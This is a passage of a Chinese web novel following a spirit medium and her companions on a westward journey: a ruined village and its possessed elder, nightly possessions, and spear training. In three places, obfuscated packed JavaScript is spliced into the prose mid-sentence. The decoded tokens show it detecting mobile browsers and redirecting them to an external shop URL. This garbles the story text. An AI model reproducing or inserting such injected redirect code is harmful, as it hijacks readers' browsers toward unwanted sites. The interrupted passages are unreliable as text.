敷好了药,抬眼,却发现他一直在盯着自己看,祝弥:“嗯?” 他等到目光,才开口:“你怎么生在水路遍布的会稽还会怕水?” “这有什么,那还有人活在太阳底下也对阳光过敏呢。” “怪癖真的很多。” “你管不着吧。” “能见鬼真的很方便。” 见他盯着自己一副怪异又欲迫近的神态,祝弥不由得产生了捂住嘴巴的冲动,以免又“不小心”吃入某玉。因为第一次以玉佩扶乩之后,桓错也不是没有请她再试一次。但没有结果,玉上的鬼累了。这对祝弥来说是好事,因为她也会累。 他是个执着到恼人的人。 死亡,是一件不可挽留之事,原本是教人钝痛似地习惯永久失去,而祝弥的出现却像是这陈年伤痛的痊愈良方。 活人和死人的执念纠缠,哪怕双方都还有万分不甘心也只能被迫接受,阴阳相隔。而祝弥的扶乩之体像是连接这两股阴阳执念的唯一通道。 通道两头的活人死人本该都大排长队,一个一个来,还得看通道本道的脸色和状态行事,方可有交代夙愿或者弥补的机会。而有人实在霸道,通道一经开发便被他牢牢攥在手上。 “见鬼是对你们方便吧,对我来说可是天大的麻烦……”祝弥撇撇脸,说,“要是世界上有后悔药就好了,给你吃一颗,给他吃一颗,一颗不行就两颗。哪还千里迢迢地需要我。” 桓错笑:“梦成就是那颗后悔药。” 祝弥嫌弃地瞧那笑脸,分外不爽,“不公平,万一我也有后悔的事情呢?谁来救我,啊?” “那只能是我来救了。”桓错便哄骗似地说着什么,梦成这次仗义随他入西域可谓是为兄弟两肋插刀下回换他为她两肋插刀……等等之类赞口不绝溜须拍马的话语。 根本是一场风凉话,听的人和说的人都觉得无关痛痒。 二人又闲谈了一会,桓错便离开了。夜深困倦了,祝弥舒展腰身,正欲熄灯,站在烛火前,低头看了看自己,又看看床榻前屏风上坦然堆叠着一道素白布条。 “……” 无所谓地耸耸肩,已经第二次了。根本是睁眼的瞎子。 第二日天才刚亮,大家是被寂照大师早起出门的一句话弄醒的。 “咦,梦成,你怎么睡在这儿?” 原来是祝弥正趴在传舍外面大门的泥土地里,披头散发,手脚乱放,一副摔倒了索性原地就睡的样子,呼吸绵长,胸腔起伏,似是正酣。她自己也被这一声喊吵醒,便又是捂着脑袋按着脖子僵硬爬起身。 桓错闻声第一个起来,一看状况也无语了,对着还没从地上起身的人风凉打趣道:“梦成怎么睡得比我的鹅还野。” 角落不远处两只鹅配合似地在笼子里叨了一下青菜叶子,“嘎嘎!” 庾彦庭也着急出房,原以为祝弥是笨鸟先飞,趁他睡觉勤加练习,好一举拿下他们没分出结果的“右监”之争,却看见她正愣愣地看着自己受伤的手掌。 走近,察觉她状态不对。桓错也赶过来,连忙一起把人扶回房间。 寂照见人来,他道一声“贫僧还有事”便出去了。 “昨晚,好像被附身了。”祝弥拍着身上的沙子,说。 桓错:“……” 庾彦庭:“这么恐怖的事情不要这么轻飘飘地说啊!” 问她还有什么印象没有,她只道昨晚临睡前隐约有点不寻常的寒凉,大概就是扶乩附体的前兆。 毕竟,手上见血了,就跟烧了头发一样。 所幸她只是睡在地上一晚上,气温渐高,倒也凉快,没有大事发生。从地上足迹看起来,扶乩似乎只持续到她从房间走到了前门,便失去控制地倒头昏睡了。 这是一只格外轻飘飘的鬼。 几人还是陷入了忧思:可往后该怎么办,一路上冤魂野鬼那么多,她总是这样控制不住地被鬼带走了可如何是好。 庾彦庭给出解决办法:“右监只能我来当了,梦成不靠谱,当不了副手,只能当副手的副手。” 祝弥:“?” 庾彦庭:“不服就继续来比试,挑你方便的。” 祝弥挥舞着伤手:“庾彦庭!能不能要点脸!” 五十人便装出行的羽林军也是军,军中不可一日无序无尊,最后他们还是在桓错的见证下,比文又比武,终于在出行在外、话语权很重要的占比中排出了个一二三四。 庾彦庭安慰道:“放心,本右监不会让你真的给我倒洗脚水的。” 桓错也安慰道:“没事,本中郎将乃左持手。在我左边的才是团队二把手。” 祝弥翻转着伤手,也不知在安慰谁:“让他一手,输了也不丢人。” 于是这说了算的顺序,自然是寂照大师第一,桓错第二,庾彦庭第三,第四嘛,不提。 说到寂照大师,他一早出门便不知所踪,这一 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听到这,几人脚步不约而同加快。那荒村远离江岸,偏离官道,已算是偏僻,丛林错杂中几块遭水淹透了的废田,走进村口,有乌鸦扑翅而起,满目树倒屋颓,土墙上是勉强铺展的临时草顶。 跟着皓云,他们进入一间破屋,家徒四壁,一眼就明了当下状况。 “皓云,” “何事,郎君?” “老头发疯你捆老头就算了,”桓错虽然对寂照有意见,但是也没让手下恶意报复,“为什么连寂照也跟着绑了?” 空空一室四个角,其中两角各躺一被捆成粽子似的人,两人嘴里还塞了东西不让说话,见人来,都着急“唔唔”出声。 皓云挠头:“只绑老头的话,寂照大师会给他解开的。怪得很。” 皓云原本紧急分开二人之后,便绑了老头正欲回头叫人,才走两步寂照就颤颤巍巍上前去解绳,不顾那老头会对他又挠又咬。 所以冒犯大师,他也是没办法。 庾彦庭上手解了寂照的口中之物,寂照急急叹道:“造孽啊,快把贫僧解开!” 庾彦庭照做,只见寂照二话不说,又要去解老头。庾彦庭气急咬牙一声“哎呀!”便死死拦在寂照和老头之间,不让接触。 那老头十分怪异,对上寂照是满面通红,呲目欲裂,牙根欲碎。 几人回头看祝弥,想问问她的见鬼视角里又是什么荒村鬼事。 而祝弥已是一脸哀戚对着寂照,声音肃然,“寂照大师,这老伯身上有无数重压……是怎么回事?” 点破至此,寂照终于散去执拗,尽显伤心神色,几乎落下泪来,“这是贫僧的……罪过……吗。” 便缓缓道来古怪老叟的来龙去脉。 这荒村原是一安居乐业友好良善的寻常村落,村长也是寂照一路东行而来少见的、能够诚心接纳佛法心得的开明人士。二人相见恨晚,相谈甚欢。村长和寂照说背井离乡的心酸,说南下重建的不易,寂照和村长说佛心要义,说修行与业果轮回。最后村长在寂照这里找到了心灵皈依,寂照便也在此村停留许久,传经教化。 而寂照自东向西再度重返之后,原本安静祥和的村庄便好似褪了色失去了所有生气,只剩这老叟一人了。 起初老叟还能对话沟通,问他原委,虽含糊但好歹说出几个人名,烧杀抢夺,儿孙埋在后院。后来情绪上来了,口中的话就变成无意义的词语重复:什么昏官。什么错断。什么流寇。什么报仇。 什么明明是他们。 越喊越凄厉。 听起来灭村之祸像是四处浮浪的凶残流民无意经过,顺带干尽的杀人事。 可祝弥回忆起来,这村是这地形附近最偏僻的一个,一个大到能灭村的流寇群体经过,是只走山林小路精准奇袭,只屠了这一个村吗? 寂照又说: “他说,这世道行善不积德,积的是祸。” “他说,佛骗了他。” 27. 你挑着担我牵马 祝弥也是第一次见到一个人身上能有这么多鬼。杂乱的鬼气漂浮在头顶上,布满草棚顶,又从各处漏洞里荡至外面,真的像氢气球。 凭借着最近经历积累的经验,她觉得鬼与人的连结多半是出于“睹物思人”,就如同桓错随身携带的母亲的玉佩,王洵乐总是对着父亲的玉笔发呆。被一张阴符吊着半口气的惠娘和肚中的鬼婴儿就更别提了,那种连结叫脐带。 可这老叟不凭金玉宝石等通灵器物,是自己的肉身硬生生承接住了这灭顶的全村亡怨。 只见寂照大师对着老叟一脸悲悯,嘴里还念念有词地念着经。她无奈道:“寂照师父,好像您念的经超度不了他呀。” 寂照瞥了她一眼,嘴上经咒不停。 祝弥决定开门见山,又说:“求问师父,出家人慈悲为怀,在佛祖眼中,是一好人的命贵还是一百恶人的命贵?” 庾彦庭此时还横在寂照和老头的中间,见二人打哑谜似地,又隐约猜出来一点什么,连忙追问:“什么意思?!” 祝弥看了一眼他,便改口说:“彦庭我问你,倘若胡人即将率马南下,而你是唯一一个掌握这条关键情报的前线斥候。报信的分岔路分别通往两座城,一座城百余人,另一座城千余人。孰生孰死,皆由你一念之间。你走哪道?” 庾彦庭不做多想,勾唇一笑:“人命数量在我这算不得权重。我可得好好回忆回忆哪座城里有人曾教我吃了苦头,还说过我坏话!” “那你们两个呢?” 桓错已然做好思考和选择,坦然答:“自然是千人城,或逃或战,收益最大。” 皓云没想到自己也会被问,怔愣片刻,摸摸鼻子,低头道:“皓云既是斥候,就不该有得选,自当是效忠哪城便去哪城。” “师父认为佛祖会怎么救?”她转头问。 寂照死死盯着老叟,只强硬道:“我都要救。” 祝弥叹气,“佛祖如今肉体凡胎,实在分身乏术呢,师父。”说着就一手一个,像个桥梁一样牵起了寂照和老叟。 心有灵犀一般,三人顷刻同时闭上了眼。 站着的桓错几人对视一眼,便知这三人已经进入到一场人鬼相通的扶乩幻境里去了。 最危险的老叟安静了下来,不再能做伤人的动作,他们悄然松一口气,又与此恩怨之事无关,便悠然闲谈起来。庾彦庭回味起刚刚的斥候抉择,忽然笑对皓云:“皓云可真是挑了个好角色,一举一动全凭将领指挥,无需思考。” 皓云有些羞赧:“庾郎君莫要折煞皓云。我们,身份不一样。” 庾彦庭又说:“那可得挑对主子了,主子杀伐果决,下人行事起来才利索。”说着搂上桓错的肩膀,“所幸你挑得也不错,跟着你家错郎想必还能实现点抱负,跟着我嘛……军功可能没有,不过肯定有肉吃。哈哈哈哈哈!” 皓云又低头郑重重复:“皓云本就不该有得选。” “说得好像我桓家没肉吃似地,想撬我墙角……”桓错拍掉搭肩的手,睥睨庾彦庭一眼,“这世上还会有人睁眼瞎选庾不选桓么。” “梦成呀,你敢让她来选吗?” 不知是不是错觉,桓错前几日心情不好不爱搭理人,错过了一些拉拢人心的机会,晚上休息的时候总是见到祝弥和庾彦庭坐在外面说说笑笑。明明那人笑起来也会让人勾肩搭背的,似乎偏偏只和他强调“有洁癖,请勿碰”,一副刻意不靠近他的做派。 “她确实是睁眼瞎。”桓错冷哼一声。 庾彦庭拖腔“哎呀”一声,把话题又转回来,道:“我就是觉得梦成这假设有意思得很。不同的人回答竟如此天差地别,给我一百个脑子,我也想不出皓云这等唯命是从的回答。啧,你说我怎么就丝毫不在意我是个斥候,斥候该做什么来着——诶,灵玦,你说如果是洵乐,他该如何选择——” 提到王洵乐,话都没说完,脑内便已有那人一脸苦大仇深站在自己面前的景象,二人当即憋不出似地笑出声来。 因为一切问题到了琅琊王氏那里,就复杂得多了。想必他定会按下祝弥,细细询问情况:两城之中可有什么朝廷要人,王侯将相、乃至天子?两座城池可是什么关隘要冲,哪城易于防守,哪城税收较高? 他那样的人,应该会在分岔路口思考许久。最终做出的决定,哪城被牺牲,哪城被选择,定会合理得两边都说不出一点怨言,各自安然接受命运。毕竟,琅琊王氏清誉满朝,守正不移,势必顾全朝中大局,权衡利弊,绝不会因私利偏袒。 有姓王的出手,两个字,“信任”即可,适合皓云这样不爱动脑子的人跟随。 想到这,庾彦庭又朝皓云贫嘴道:“皓云,跟着姓王的也不错。有时候这姓桓的,容易冲动行事,也没那么靠谱。” 皓云的脸色变无可变,快给庾彦庭跪下了,实际上他已经一膝触地了,拱手低头道:“皓云自出生起就是桓家的人,忠心耿耿,绝无二想。郎君别再开我玩笑了。” 桓错不理二人,忽然盯着闭眼的其中之一人,声音凉凉不知问谁:“你们说,她的选择是什么?” * 这头,祝弥领着钻牛角尖的寂照去看老叟身上的执念。 寂照看见老叟在逝去之人的怨念或者求生的驱使下,已然拐骗谋害了隔壁村的几个小孩,或杀或吃,不敢细想。而若想真的超度他,献祭隔壁全村人性命竟然是破局之法,原来祝弥一或一百的选择并没有骗他。 祝弥在一旁似是安慰:“人在绝望之境往往倾向于寻求外物信仰聊以寄托,不是求佛,也会求道。向佛也会恶堕,修道亦有心魔,正途歧途,皆有命也。两村利益相冲,生死之际,没有人会束手就擒,他们若真心求了佛,这位村长也不会身负多重执念。寂照大师,别听这些鬼瞎说,不是佛经害他们,而是那场大雨。” “小辈再问您一遍,是救他一人还是救他百人?” 祝弥只觉得先前问题里的好人坏人之分有些唐突,但想必寂照会明白她的意思的。看完老叟的心结,她也颇有触动,一场大雨冲毁了百姓赖以生存的一切,一夜之间人人赤贫。当饱腹成为时人勉力才够得到的生存标准,为了一块口粮而甚至不惜大打出手,争个你死我活,那人还可称为人吗?还要要求他们用“温良恭俭让”约束自己吗? 她能站在高处旁观猎豹追捕羚羊,就由此点评一只是坏豹一只是好羊吗?宰割是恶,任人宰割即是善吗? 食物链的弱肉强食成了最原始的自然法则。她无法对任何一方置评。 寂照仍是不说话,场景渐退,视野中一阵烟雾般的白茫茫散去,那位侥幸存活下来的失了智的老村长还跪绑在他眼前。 侥幸吗?独活下来,凭一颗凡世之心直面这泼天灭顶的苦痛,莫不是前世造了恶业的报应吧…… 寂照仍是说不出来一句话,只细细打量面前人。从昔日好友浑浊的眼睛里,他想捕捉到一丝,他还熟悉的东西,哀求、痛苦、仇恨,只要是一点他还能理解的情绪,都行。可是无法了,他从那片黑色的虹膜里只看见自己一张欲哭不哭的脸,看见自己身后的桓错已经抽刀出鞘,于头顶上寒光一亮,要斩的,竟然仿佛是他自己! 寂照:“……” “寂照大师,失礼了。此人恶念深入肺腑,又害无辜幼童,纵然可怜,但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“想不通啊,只好一遍又一遍地去做……”说着他那只还在淌血的手横在桓错面前,不由分说抢过刀,刀刃上已然带血。 “贫僧虽然愚钝,但说到做到,会超度你们的,”刀面一转,明光一闪,对准老叟,“这业果,还是由寂照背负罢——” 话音未落,破风一声,便有东西落了地。 * 翌日,西域羽林军一早便踏上了行程。 桓错似乎心情很好,一个劲地对手伤不便只好坐轿的寂照大师嘘寒问暖,什么“师父喝水”,什么“师父再多走十里路可以吗”。 祝弥越听越耳熟,看看轿中人,又看看桓错和庾彦庭,忽然嘴角也翘着下不来。 “笑什么?”庾彦庭见她眼神有话,便策马上来和她并排。 “没什么,二师兄。”祝弥的紧闭嘴型明明是个憋笑的“噗”。 “啊?什么二师兄?” “就大师兄二师兄的二师兄。”她看了一眼正和寂照说话的桓错,又用同样的眼神看回庾彦庭。 “我是二师兄,那你是?” “幸好比武输给了二师兄。我只能是三师弟了。” “喂喂三师弟别乱说,为兄身心都在老庄道学,可不认识什么阿弥什么陀佛,也没像那桓灵玦那般曲意逢迎的。” “嗯嗯二师兄别和大师兄一般见识,他是猴子。” 桓错:“?” “我呢?”尽管知道答案绝对不会令他满意,但庾彦庭还是忍不住问了。 “噗。”又是一声很过分的窃笑。 “?速速说清楚,否则本右监要军法处置了!” “二师兄乃,肥头大耳,一只,猪。”说完祝弥连忙一踢马肚子,顷刻间,赶着马逃跑似地向前了。 “啧!”庾彦庭也气笑了。 ——“对了,那个问题,梦成会怎么选啊?” 分岔路口上,百人城还是千人城? 哒哒马蹄声中,祝弥头也不回,她的畅快带笑的声音传到后方, “不选不选——我是情报本身——” 28. 你挑着担我牵马 蓝黑色的纹理流光溢彩,阳光下,一只蝴蝶轻轻振翅,一扇一扇中带着细闪的鳞粉洒下来,最终停在一只缠绕着白布的手背上。 “寂照师父,能不能别总惹这些小昆虫动物啊。我要打喷嚏了。”祝弥看见蝴蝶,捏着鼻子退避三舍。 “你不踩,贫僧也不会去捡。”寂照手一扬,蝴蝶朝祝弥飞来,吓得她一个后仰拽着马连忙跑了。 出家人认为万物皆有灵,适逢夏季雨季,草木虫兽活跃旺盛,僧侣路上化缘难免踩杀虫草,仁恻之心不忍,于是沙门中有“结夏安居,应时游行”的修行规定。 寂照逆时出行已是心有难安,一路走一路念叨着罪过。而庾彦庭和祝弥时不时就玩闹着相互追赶起来,肆意策马跃出道路,踩踏草木,他又制止不得,只好自己慢慢跟在后面,细细检查可有被影响的小虫小蚁。 庾彦庭抬头目送蝴蝶,说:“毛毛虫屎壳郎那些能不玩就不玩,这蝴蝶也嫌弃啊?多漂亮啊。” 祝弥皱眉:“我最讨厌的就是蝴蝶。” 桓错说:“按照师父常说的转世轮回理论,如果不好好修行,业力报应就会让你下辈子转世成今生最讨厌的东西。” 庾彦庭在一旁风凉捧读:“完蛋咯,有人以后要变成蝴蝶咯。” 祝弥转头对寂照大师微笑:“师父,我可能要犯杀业了,两个。记得超度我。” 寂照大师闭上眼睛,莫名细数三净肉的定义:“阿弥陀佛。不见杀,不闻杀,不疑为我杀。” “收到!我们会离得远远的!”祝弥得到杀人许可。 “可别,少了我们谁还管得住你这个控制不住自己的扶乩狂魔啊。”庾彦庭呵呵一笑,没有武力值的口头威胁不足为惧。 这几日行进格外顺利,也许是寂照大师受伤了,老实地配合行程,一日走的路程能赶得上之前三日之总。 这让桓错心情很好,对谁说话都堆出一双含春如雾的风情眉目,嘴角也温柔和煦地上勾着,可惜现在他是羽林军中郎将,一身利落束身的赤褐便衣,又挂着刀,周身生人勿进的凛冽气息,不然若是在山阴那副褒衣博带、梨花带露般潮湿的鹅山公子模样,一路上队尾又要跟着好多忒没事做的男女老少。 于是在晴公子的有效辐射范围内,对上的人是一个比一个嫌弃,庾彦庭直呼恶心,祝弥扭头不看只说:请不要这样。 寂照大师则是这变脸之害的首当其冲了,因为之前桓错的脸对他最臭,现在又是最灿烂的,换药、吃食,体贴入微得不在话下,寂照说别乱跑他就绝不会乱跑,还帮忙管理随意踩踏花草十分不文明的右监左监,不惜以军法威胁。这让大师暗自咋舌,先是悄悄和祝弥确认完自己身上没有鬼之后,才忍不住问有没有可能,那鬼跑到桓错身上去了,最后愧疚万分地说:实属贫僧之罪过。 只有皓云又呆又木习惯了,只说他家郎君不就一直这样的脸吗。 行路是顺畅了,可每晚总有人有点小状况。自从祝弥的手掌破了点小皮,见了点血还没好全,她总是在晚上管不住自己被鬼上身。 第一次时间短,走到大门就睡倒。第二次则是在队伍内。在所有人都睡下之际,忽然神色怪异的左监敲门进了其他人歇息的房间,揪出一个到一旁悄声说话。那被喊出来的人原本将信将疑,不知听她说了什么骤然迸出眼泪。顷刻间二人当着众人的面头抵头痛哭起来,一个喃喃念叨着“弟弟”,另一个以痛彻心扉的“阿兄”回应。 第三次是夜深人静时,黑黢黢的传舍大堂里忽然传出惊悚的低低啜泣声,众人点灯一看,发现是皓云跪在地上,咬唇止声以手臂挡脸哭得那叫一个惨烈。再一看,祝弥神态宛若一名慈祥老者,正襟危坐,摸着皓云的头。 皓云断断续续地对她说:“父亲,不要担心,主子很好,皓云也很好。您请放心。” 祝弥摸着不存在的胡子,似是闭眼,说:“皓儿一向稳妥实干,为父只是放心不下另外那个……” “皓云定会照顾好小弟!父亲就安心去吧!” “为父也盼着吾儿早日成家定亲……” 皓云顷刻放声大哭:“那还是辛苦父亲再等等吧,儿正身不由己出远差。” 急急忙忙起床查看情况的桓错:“……” 一连两个晚上闹出这种动静,中郎将和右监给出的解释略微有异。中郎将说左监是夜游症,无需在意。右监说左监是鬼神之体,对她都放尊重点。两种解释都引导向了一种结果,羽林军内部安排好了值班表,每晚轮流值宿,重点盯防大门,别让有人乱跑出去的情况再发生。 第四个晚上中郎将和右监共聚一房,特意没睡,留心隔壁房间动静,打算在她出门的时候拦住,或打晕或叫醒,别再去烦别人了。 可那晚却消停了,他们在门外贴耳去听,竟然听见凳子“哐当”倒地一声,接着是一串失控的闷哼喉音。惊得二人破门而入,里面那人分明是在上吊! 怕是那附身的鬼不明所以,忽然有了实体,以为自己还没死透,慌慌张张要再死一次。 桓错叹气:“好笨。” 庾彦庭气急败坏:“她那手能不能快点好了!” 祝弥醒来之后也在努力思考原因,除了受伤、睡觉,还有什么必要条件需要回避?毕竟这么下去,一受伤整个人就像漏了底的瓶子,装不住水好不安全。而且晚上被鬼上身后会累,白天行路有一半时间得她躺在轿里补眠,旁边就是两只神气鹅兄的豪华寝宫。 鹅兄会颐指气使地冲她“嘎嘎”不停。她嫌弃。 桓错也后怕,西行一事还是不如想象中的简单,忽然对六代单传的祝家和身不由己的皓云充满一百分的愧疚。想肩负起责任,也怕再发生什么事情而不让她自己睡,她又亮出已经结痂的掌心说绝无下次,坚持成年人的私密感,房间还是一人一间。 桓错无语:成年在哪了。 这人也许是年岁尚小,长成迟缓,手腕软弱得离谱,还天天和庾彦庭呛嘴,总是吵上头了没有自知之明要比武,然后输得灰头土脸,不甘心的表情又实在诚心实意。他只好一面警告一个“你敢让她受伤试试”,一面对另一个惆怅万分,“我来教你一点招式吧。” 出门在外,总得有点防身自保的手段。 所幸祝弥一向是个好学生,力气虽不足,但有学习的态度。 就如同官兵训练似地,他教她环首刀的用法:劈、刺、撩、扫、削。 招式他做一遍她学一遍,几个来回,桓错的眉头越皱越紧,庾彦庭在一旁拍腿大笑,皓云也抖肩捂嘴。 这辈子没见过这么疲软的挥刀,简直神仙难救。 祝弥瞪着眼盯着桓错说不出来话:“……” 桓错站在她身后,指点她平肩,抬手,挥刀。仔细打量她的动作之间,越看眉头越皱。 “梦成,你……”他忍不住出声。 “嗯?”祝弥回头抬眼看他,对上一副无药可救的神情。 “……软弱无力得我不忍直视。唉,之后多吃点肉干吧。”他叹气,便挑了把有重量的长枪递给她,又展示了一个最简单的出枪动作,“就练这个,每天夕食结束后练到手臂酸软为止。” 祝弥倒也没多说什么,有老师引导还不用多思考,每日太阳下山的时候埋头就是练,也不搭理庾彦庭了。 庾彦庭闲得没事,又看见寂照也在一旁潜心翻译胡文古经,好奇心起,就以一个修道之人的身份向他问佛。 二人都是祝弥认证过的身轻无鬼之人,哪怕某人前几日还“超度”了个活人鬼。 寂照大师说:“出家人以慈悲为怀。” 庾彦庭说:“道士讲究顺应自然。” “佛说空。” “道说无。” 在一旁耍枪练臂力的祝弥都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后照常赶路。他们出会稽,沿着长江一路向西,走了小月余,走进一座与特别大、其上山林茂密的山,又沿江边山麓走几日,一片广袤多湖的平原在他们面前展开。祝弥抬头看看这犹如一柄利剑隔开了两块大平原的高山,问桓错:“这不会就是大别山吧?” 桓错在前方点点头,“‘此山之大,别于他山。’大别山也。” “可我看这几日路线,沿江是向南进山又向北出山,是不是绕路了?明明可以不用进山的。” 这一问桓错的脸又莫名黑了,回头一道幽怨的眼光不知道瞥向了谁。 “阿弥陀佛,是贫僧要去襄阳。” 祝弥顷刻明了:原来如此,有人是一点都不珍惜晴公子的好脸色啊。 晓行夜宿的日子,太阳落山了便是自己的时间,祝弥玩枪又玩刀,学了好几个把式。起初,她端枪平指几秒就已经觉得难以支撑,忍累练了多日以后,竟然也能横耍银枪几番,不由得把自己的锻体师父喊出来展示一下修炼成果。 长枪耍出几道劲脆风声,表演完毕,立定收势。 枪风步法、腰马腕劲,统统有模有样,桓错看得是十分欣慰,“比第一次成长太多……”说着款步拍着掌靠近她,“倒也不用那么认真努力……” 这话祝弥不爱听,可以说她尚有不足,但不能说她这么好的态度还有问题。便拉下脸来,“什么意思,见不得我变厉害是吗?” 遮挡视线般,一个掌心从头顶落下。 ——脑袋被摸了摸。 “比旁人慢一两步没关系,”他又说,“又不是没人等你。” 头顶上的重量让祝弥有些怔愣恍然。 “……” “嗯?”见她生硬却不生气地甩掉自己的手,又转过身去,只以银枪戳地,不说话,桓错就想探身去看她神色。 那人又继续转身回避,别扭似地铁了心不给看。 “怎么了?” “会长不高的。” 背影闷闷出声几个字。 29. 你挑着担我牵马 庾彦庭听见二人说话声音,不小心路过,被桓错也摸了一下头。 就是那种仗着身高优势,头顶正上方连拍三下,就差几句经典台词的怜爱似的摸头。 比如说:“真不错,辛苦了,好孩子。” 这对于父亲是辅政大臣、姑姑是太后、表哥是天子的颍川庾氏来说,莫过于赤裸裸的挑衅,他不可置信地瞪着桓错,咬牙一个字:“滚。” 桓错像是听不懂,又拍了拍,三下。 “你当摸你家的狗呢!”庾彦庭雷霆万钧般地拔刀,竖劈,“看招!” 怎么会差别这么大?被摸头的另一个完全不是这样的反应。桓错一边思考两种反应背后的原因一边接招庾彦庭的的拳脚功夫,并用眼神暗示:你看看那边那个背影。 杵得像根钉子似的干巴巴。 庾彦庭也注意到了。 很快拳脚相向的两人像是发现了新玩具:有人被摸头就会变矮一下,摸一下,矮一下,没有气得跳脚,话也说不出来,有意思得很。 桓错又示范了一遍:拍拍她的头三下。 庾彦庭跟着拍拍三下。 祝弥快要蹲在地上:“别摸了……” 桓错用眼神问庾彦庭:这是不开心吗? 庾彦庭用眼神回:不清楚,但挺好玩的。 桓错又抬手去拍庾彦庭的,非得摸出个对比。 于是二人又打起来。 …… 如此这般,他们来到了江夏水乡,千湖梦泽。 寂照似乎来到了熟人之国,夸张到路上时不时遇见行人,还能朝他喊出一声“寂照师父您来了”。于是他们又变成最初那样的走走停停,村村落落都要去探访个遍,一日行不及三十里。 几人才发现这寂照大师也是会看人脸色行事的——信徒的脸色。 前段路程走得快是因为他走过几遍,知道没人对“阿弥陀佛”感兴趣,进入了江夏就不一样了,别人不再喊他秃驴,而是学着他合掌,请教他经文,给他展示新立起来的村口小庙宇。 根本不是因为被迫物理超度灭村老村长而心态受创、老实了,桓错只觉得自己受骗。 祝弥其实来过这里,大约快两千年后的这里,一如既往的一马平川,连个小山包都没有。庾彦庭就不一样了,没到过这么远的地方,不掩饰地一边走一边对着似有镜碎洒满大地的大大小小湖泊“哇”个不停。 事到如今,他们每日只能用来行路的时间只有半日。 另外半日要交给寂照领着庾彦庭去探访江汉平原的挨家挨户,留下另外二人独守“空房”。 至于为什么是这样两两组合的组队配置,因为那日的摸头纷争之后,从此庾彦庭为表态度,特意亲近寂照,端茶倒水;远离桓错,横眉冷对。 祝弥也想和他们一起入村玩水摘荷,和形形色色的人结识,眼角拭泪地说一些“阿耶为娶新妇把我赶出家门,我只好游历四方”的博同情讨亲近的假话。可转头一看桓错预感到自己即将被“众叛亲离”的黑脸,想开的口又止住了。 还是留下陪他吧,谁让她那么会察言观色呢。便随意抽出一把武器找桓先生请教习武心得。 桓错有些犹豫:“你要练斧吗?” 祝弥扔掉:“对不起,抽错了。”斧舞起来不好看,不适合她。 这荆楚之地是湖多泉多,传舍里还有温泉。舞枪弄棒之后一身汗,桓错问祝弥要不要去汤浴,也算此地特色。 她自然是不去。 记得她怕水来着,像猫一样。 夕阳刚褪去,桓错洗浴出来,楼舍里莫名冷清。路过寂照和庾彦庭的房间,一片昏黑。也是,时候还早,他们哪舍得回来。又经过祝弥的房间,有灯,但是很安静。 也路过。 走了两步又折返回来。 “梦成。”敲敲门,随意喊喊。她若是嫌烦地回复几句“别吵没事走开”,那他就走开,若是她也想找点事情消磨时间,那他就拿来几瓶酒和压箱底的陈年笑话旧事,逗逗她笑。 但没回应。 也许是睡着了,毕竟今日才比划了两下她就兴致缺缺喊累不玩了。应该不是被鬼上身而被带走了……她又没受伤。 只是睡得早,别太多心。 于是他又路过了。 “——梦成,你明日想不想去看看赤壁,”他又又又折返了,站定在她门前,“当年曹操挥师南下的赤壁之战,如今还可见到一二残迹,泥沙里说不定还有半段箭簇。” …… 没人回应。 门没落锁,轻轻一推,尽力让语气自然随意,“你猜那上面会不会有鬼——” 除了烛火微微晃动以示回应,房间内一片寂然,一丝动静都没有。绕过屏风,床榻上的被褥是掀开的痕迹,自是空空如也。 回望去传舍大门,大门大开,时候尚早,还不到入睡的值宿时候,手下的人各有各的忙活。 糟了。 人不见了。 * “星日怎么还不来!” “再等等。” “还等,都已经等了三个时辰了!莫不是跟着轸水跑了?!” “都已经寻了几个月了,还差这三个时辰吗?” “我就是觉得只有信不见人,又等了这么久,着实古怪……” 官道旁边,一处湖江相夹的有林之地,几座荒坟之间,有两个人鬼鬼祟祟蹲在视线隐蔽的地方,前后探望着路两端的尽头,在等人来。 其中一个打了几个喷嚏,又催促道:“翼火,我们回去吧……这儿凉飕飕的,我怕是要染风寒——” “嘘。”被喊做翼火的人忽然压低身形,只看向远处:“你看看那是不是星日?” 只见树林之外,一片暗湖细细碎碎映着月光,蜿蜒的黄土官道穿过,上面有个人影,正踉踉跄跄地沿官道走来。 那人努力眯眼,“绝对不是,这人又矮又瘦。星日可是八尺大汉,他就算瘦死也不可能如此——诶拉我做什么!” 翼火把人拽低,“别被他看见了。” 被拽低的人嘟囔几句:“多半是个醉鬼,走反了回村的路。哼。” 二人躲于暗处观察着来人,只见来人一头乱发,看不清什么表情,能隐约听见口中哼哼,虽脚步虚浮,但似乎目的明确,走着走着忽然停住,四处看了看,便朝树林这边二人藏身之处走了过来。 翼火:“……” 另一人活动手腕:“哼,夜黑风高的,独身一人还敢来招惹老子。” “鬼金,官兵搜索得紧,别多事,一会误了星日的情报。”翼火还是一把按下蠢蠢欲动的鬼金。 人影果然径直向树林里走来,翼火只好拉着鬼金跟着他的步伐后退。人影又前,直到走到了二人原先蹲守的位置,站定,却开始四处探望。 二人回望一下身后,再退就要退出林子里了,总觉得背后的远处回荡着人声和马蹄声,凉飕飕的。 “天堂有路你不走,地狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239179|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无门你闯来。”鬼金低声咒骂几句脏话,抽出身后的小刀,“还以为你要解手呢,跑来林子里步步紧逼,真当老子忍让你!”说着弓身蓄势的姿态。 翼火没办法,也抽出了刀。 二人默契万分,紧盯前方,低着身子沿林边悄然横向拉开距离。 